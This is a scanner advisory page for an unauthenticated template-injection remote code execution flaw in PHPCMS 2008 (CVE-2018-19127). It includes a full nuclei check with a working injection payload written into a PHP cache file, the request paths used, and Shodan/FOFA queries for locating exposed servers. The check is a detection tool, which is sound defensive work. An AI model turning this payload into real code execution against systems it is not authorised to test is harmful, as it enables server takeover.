PHPCMS 2008 - Remote Code Execution via Template Injection

criticalseverity

9.8CVSS score

20.8%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

PHPCMS 2008 suffers from an unauthenticated RCE via template injection in type.php, where attacker-supplied content is written into a PHP template cache file, which is then executable.

Impact

Successful exploitation allows an unauthenticated attacker to achieve remote code execution on the server, potentially taking full control.

Fix

The vendor is unresponsive and PHPCMS 2008 is no longer maintained. Users are advised to stop using this software or restrict public access to it.

How to confirm it

Send: GET {{BaseURL}}/type.php?template={{payload}}
Positive when: status_code == 200 and contains_all(body, "value=\"picture", "phpcms", "{{md5(num)}}")
Send: GET {{BaseURL}}/data/cache_template/rss.tpl.php
Positive when: contains "{{md5(num)}}"

Run it with nuclei: nuclei -id CVE-2018-19127 -u <target>

The full check

id: CVE-2018-19127

info:
  name: PHPCMS 2008 - Remote Code Execution via Template Injection
  author: tomaquet18
  severity: critical
  description: |
    PHPCMS 2008 suffers from an unauthenticated RCE via template injection in type.php, where attacker-supplied content is written into a PHP template cache file, which is then executable.
  impact: |
    Successful exploitation allows an unauthenticated attacker to achieve remote code execution on the server, potentially taking full control.
  remediation: |
    The vendor is unresponsive and PHPCMS 2008 is no longer maintained. Users are advised to stop using this software or restrict public access to it.
  reference:
    - https://github.com/ab1gale/phpcms-2008-CVE-2018-19127
    - https://github.com/advisories/GHSA-p498-q357-m3p7
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19127
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-19127
    epss-score: 0.20766
    epss-percentile: 0.9756
    cwe-id: CWE-94
    cpe: cpe:2.3:a:phpcms:phpcms:2008:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"Powered by phpcms"
    fofa-query: body="Powered by phpcms"
    vendor: phpcms
    product: phpcms-2008
  tags: cve,cve2018,phpcms,rce,ssti,vkev,vuln

flow: http(1) || http(2)

variables:
  num: "999999999"
  payload: "tag_(){};echo(md5({{num}}));{//../rss"

http:
  - method: GET
    path:
      - "{{BaseURL}}/type.php?template={{payload}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "value=\"picture", "phpcms", "{{md5(num)}}")'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/data/cache_template/rss.tpl.php"

    matchers:
      - type: word
        words:
          - "{{md5(num)}}"

References

Use this check only on systems you are authorised to test. Where the data comes from